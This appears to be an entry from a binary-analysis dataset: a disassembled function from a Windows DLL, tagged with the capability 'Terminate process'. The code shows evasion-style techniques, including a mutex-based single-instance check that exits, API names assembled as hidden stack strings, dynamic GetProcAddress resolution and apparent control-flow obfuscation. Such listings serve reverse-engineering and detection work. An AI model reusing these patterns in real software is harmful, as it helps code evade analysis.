Function at 0x180022d00
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov ebx, dword [rbp + 0x250]
mov r14, r9
mov r13, r8
mov r8, rcx
lea r9d, [rbx + 0xc]
mov dword [rsp + 0x68], r9d
cmp ebx, r9d
jae case.0x180022d90.4
mov r12, qword [rbp + 0x230]
lea edi, [rbx - 0x86]
mov rsi, qword [rbp - 0x60]
xor r10d, r10d
mov r15, qword [rbp - 0x58]
mov dword [rsp + 0x70], edi
lea r11, [0x180000000]
cmp edi, 0x32
ja case.0x180022d90.12
movzx eax, byte [r11 + rdi + 0x23520]
mov ecx, dword [r11 + rax*4 + 0x234ec]
add rcx, r11
jmp rcx
mov edx, dword [r13]
add edx, dword [r12]
cmp dword [r13 + 4], edx
jge 0x180022dcd
mov dword [rbp + 0x250], edx
xor r9d, r9d
lea rdx, [rbp + 0x250]
mov r8, r13
mov ecx, 0x9e
call fcn.180025210
test eax, eax
jne 0x1800234d6
mov r9d, dword [rsp + 0x68]
xor r10d, r10d
mov r8d, reloc.OLEAUT32.dll_VarCyFromDate
cmp r8d, 0x66
je 0x180022e31
cmp r8d, 0x1ab2
jne 0x180022e58
mov ecx, dword [r13]
mov edx, dword [r12]
dec ecx
cmp ecx, edx
jl 0x180022e08
sub rsi, r15
mov eax, dword [r15]
dec ecx
mov dword [rsi + r15], eax
sub r15, 4
mov edx, dword [r12]
cmp ecx, edx
jge 0x180022df3
mov rsi, qword [r13 + 0x10]
mov eax, r10d
test edx, edx
jle 0x180022e58
nop dword [rax]
nop word [rax + rax]
mov dword [rsi], r10d
inc eax
add rsi, 4
cmp eax, dword [r12]
jl 0x180022e20
jmp 0x180022e58
mov eax, dword [r12]
add dword [r13], eax
movsxd rdx, dword [r13]
mov rcx, qword [r13 + 0x10]
movsxd rax, dword [r12]
lea rsi, [rdx - 1]
sub rdx, rax
lea rsi, [rcx + rsi*4]
lea r15, [rdx - 1]
lea r15, [rcx + r15*4]
add r8d, 0x1a4c
cmp r8d, 0x3498
jbe 0x180022dd3
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x6c], r10d
jmp 0x180022ebb
movsxd rcx, dword [r8]
mov eax, dword [rdx]
sub eax, ecx
cmp eax, 2
jl 0x180023292
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x180022ec2
mov r8, qword [r13 + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x60], eax
mov r9d, dword [rsp + 0x68]
xor r10d, r10d
mov r8, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x218]
inc ebx
inc edi
mov dword [rbp + 0x250], ebx
mov dword [rsp + 0x70], edi
cmp ebx, r9d
jae case.0x180022d90.4
jmp 0x180022d6c
cmp dword [rsp + 0x60], 0xb7
jne case.0x180022d90.12
mov ebx, VarI2FromDisp
lea r10d, [rbx + 0x31]
nop dword [rax + rax]
mov eax, ebx
sub eax, 0x34
je 0x180023386
sub eax, 1
je 0x180023371
sub eax, 1
je 0x180023366
cmp eax, 1
jne 0x180023394
mov r8, qword [sym.imp.WINMM.dll_waveInMessage]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.180001170
mov r10d, VarCyFromDate
jmp 0x180023394
cmp qword [0x1800a1ec8], 0
je 0x1800233a8
mov rax, qword [r13 + 0x38]
xor r9d, r9d
mov r8, qword [r13 + 0x20]
xor ecx, ecx
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r10
lea edx, [r9 + 0x7e]
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.180018870
mov qword [0x1800a1ed0], rax
test rax, rax
jne 0x180023104
mov r14d, 0xda
mov dword [rbp - 0x68], r14d
nop word [rax + rax]
cmp r14d, 0xda
je 0x1800230d0
cmp r14d, 0x4192
je 0x180022feb
cmp r14d, 0x824a
je 0x180022fe1
cmp r14d, 0xc302
je case.0x180022d90.4
jmp 0x1800230db
mov byte [rsp + 0x6c], 0
jmp 0x1800230db
mov r12, qword [rbp - 0x50]
xor ebx, ebx
lea edi, [rbx + 8]
lea esi, [rbx + 0x6e]
lea r13d, [rbx + 0x65]
lea r15d, [rbx + 0x49]
nop
cmp ebx, 7
ja case.default.0x18002301a
lea rdx, [0x180000000]
mov ecx, dword [rdx + rbx*4 + 0x23554]
add rcx, rdx
jmp rcx
mov word [rbp - 0x80], r15w
jmp case.default.0x18002301a
mov eax, 0x74
mov word [rbp - 0x7f], si
mov word [rbp - 0x7e], ax
jmp case.default.0x18002301a
mov eax, 0x25
mov word [rbp - 0x6c], ax
mov eax, 0xa70
mov word [rbp - 0x6b], ax
jmp case.default.0x18002301a
mov byte [rbp - 0x69], 0
jmp case.default.0x18002301a
mov eax, VarR4FromCy
mov dword [rbp - 0x73], 0x6e6f6974
mov word [rbp - 0x6f], ax
mov eax, 0x78
mov word [rbp - 0x6e], ax
mov eax, 0x20
mov word [rbp - 0x6d], ax
jmp case.default.0x18002301a
mov r8, r12
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.180001170
jmp case.default.0x18002301a
mov dword [rbp - 0x7d], 0x6e7265
mov eax, 0x5374
mov word [rbp - 0x7a], r13w
mov word [rbp - 0x79], ax
jmp case.default.0x18002301a
mov word [rbp - 0x77], r13w
mov dword [rbp - 0x76], 0x704f74
inc ebx
sub rdi, 1
jne 0x180023000
mov rsi, qword [rbp - 0x60]
mov r14d, dword [rbp - 0x68]
mov r15, qword [rbp - 0x58]
mov r12, qword [rbp + 0x230]
mov r13, qword [rbp + 0x220]
jmp 0x1800230db
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionExW]
mov qword [rbp - 0x50], rax
add r14d, 0x40b8
mov dword [rbp - 0x68], r14d
cmp r14d, 0x102e0
jbe 0x180022fb0
mov ebx, dword [rbp + 0x250]
mov edi, dword [rsp + 0x70]
mov r14, qword [rbp + 0x228]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800a1ed8], rax
jmp 0x180022eb3
test r13, r13
jne 0x180023146
lea r9, [rbp + 0x250]
mov dword [rbp + 0x250], r10d
mov r8d, 0x8c
lea rdx, [0x18008f048]
lea rcx, str.a___NULL
call fcn.1800064b0
xor r10d, r10d
test r12, r12
jne 0x180023172
lea r9, [rbp + 0x250]
mov dword [rbp + 0x250], r10d
mov r8d, 0x8c
lea rdx, [0x18008f048]
lea rcx, str.b___NULL
call fcn.1800064b0
test r14, r14
jne 0x18002319e
lea r9, [rbp + 0x250]
mov dword [rbp + 0x250], r14d
mov r8d, 0x8c
lea rdx, [0x18008f048]
lea rcx, str.c___NULL
call fcn.1800064b0
cmp qword [rbp + 0x248], 0
jne 0x180022eb3
lea r9, [rbp + 0x250]
mov dword [rbp + 0x250], 0
mov r8d, 0x8c
lea rdx, [0x18008f048]
lea rcx, str.d___NULL
call fcn.1800064b0
jmp 0x180022eb3
xor edx, edx
mov r9, r13
xor ecx, ecx
lea r8d, [rdx + 0x5f]
call fcn.18001e070
test al, al
je 0x1800233a8
mov rax, qword [r13 + 0x28]
xor ecx, ecx
mov r8, qword [r13 + 0x20]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
lea edx, [rcx + 0x7e]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
call fcn.180018870
mov qword [0x1800a1ec0], rax
test rax, rax
je 0x1800233a8
mov rax, qword [r13 + 0x30]
xor ecx, ecx
mov r8, qword [r13 + 0x20]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
lea edx, [rcx + 0x7e]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
call fcn.180018870
mov qword [0x1800a1ec8], rax
jmp 0x180022eb3
cmp dword [r12], 0
jg case.0x180022d90.12
mov eax, r10d
jmp 0x1800234d6
mov rbx, qword [rbp + 0x240]
lea rcx, [rcx*4]
mov r8, qword [rbp + 0x248]
lea r9, [rbp + 0x250]
mov dword [rsp + 0x20], 0xa3
mov eax, dword [rbx]
mov dword [rsp + 0x60], eax
mov eax, dword [r14]
sub eax, dword [rcx + r13]
mov dword [rbp + 0x250], eax
movsxd rdx, dword [rcx + r13]
lea rcx, [rsp + 0x60]
add rdx, r12
call fcn.180034900
mov r15, qword [rbp + 0x218]
lea r9, [rbp + 0x250]
mov r8, qword [rbp + 0x248]
mov edi, eax
mov eax, dword [rbx]
mov dword [rsp + 0x60], eax
movsxd rax, dword [r15]
mov dword [rsp + 0x20], 0xa3
lea rcx, [rax*4]
mov eax, dword [r14]
sub eax, dword [rcx + r13]
mov dword [rbp + 0x250], eax
movsxd rdx, dword [rcx + r13]
lea rcx, [rsp + 0x60]
add rdx, r12
call fcn.180034900
mov edx, eax
cmp edi, eax
jle 0x18002334e
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax]
mov ecx, dword [r13 + rax*4]
mov rax, qword [rbp + 0x238]
mov dword [rax], ecx
mov eax, edi
jmp 0x1800234d6
movsxd rax, dword [r15]
mov ecx, dword [r13 + rax*4]
mov rax, qword [rbp + 0x238]
mov dword [rax], ecx
mov eax, edx
jmp 0x1800234d6
mov eax, 0x70
mov word [rbp - 0x71], ax
jmp 0x180023394
mov word [rbp - 0x79], r10w
mov dword [rbp - 0x78], 0x67617373
mov dword [rbp - 0x74], 0x252065
jmp 0x180023394
mov dword [rbp - 0x80], 0x766177
mov dword [rbp - 0x7d], 0x4d6e4965
inc ebx
cmp ebx, 0x38
jb 0x180022f00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [rsp + 0x6c], 0
jmp case.0x180022d90.4
mov rax, qword [rbp + 0x248]
mov r9, r12
mov r8, r13
mov qword [rsp + 0x20], rax
mov edx, 0x2c
mov rcx, r14
call fcn.1800266f0
xor r9d, r9d
mov dword [rbp + 0x250], eax
lea r8, [rbp + 0x250]
xor ecx, ecx
lea edx, [r9 + 0x7c]
call fcn.180009930
jmp 0x1800234d6
mov rax, qword [rbp + 0x240]
movsxd r15, dword [rsp + 0x78]
mov edi, dword [r14]
mov ecx, edi
mov rsi, qword [rbp + 0x248]
mov ebx, dword [rax]
movsxd rdx, dword [r13 + r15*4]
sub ecx, edx
cmp ecx, ebx
cmovge ecx, ebx
movsxd r8, ecx
lea rcx, [r12 + rdx]
mov rdx, rsi
call fcn.18005e380
mov dword [rsp + 0x40], VarNeg
lea r9, [rsp + 0x60]
mov dword [rbp + 0x250], ebx
mov r8, r13
mov dword [rsp + 0x60], edi
mov qword [rsp + 0x38], rsi
test eax, eax
jns 0x18002348d
mov r15, qword [rbp + 0x218]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov eax, dword [r15]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x78], eax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x238]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
call fcn.180022d00
jmp 0x1800234d6
mov rax, qword [rbp + 0x210]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x78], r15d
mov eax, dword [rax]
mov dword [rsp + 0x70], eax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x238]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
call fcn.180022d00
jmp 0x1800234d6
mov byte [rsp + 0x6c], 1
mov eax, dword [rsp + 0x6c]
add rsp, 0x2c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret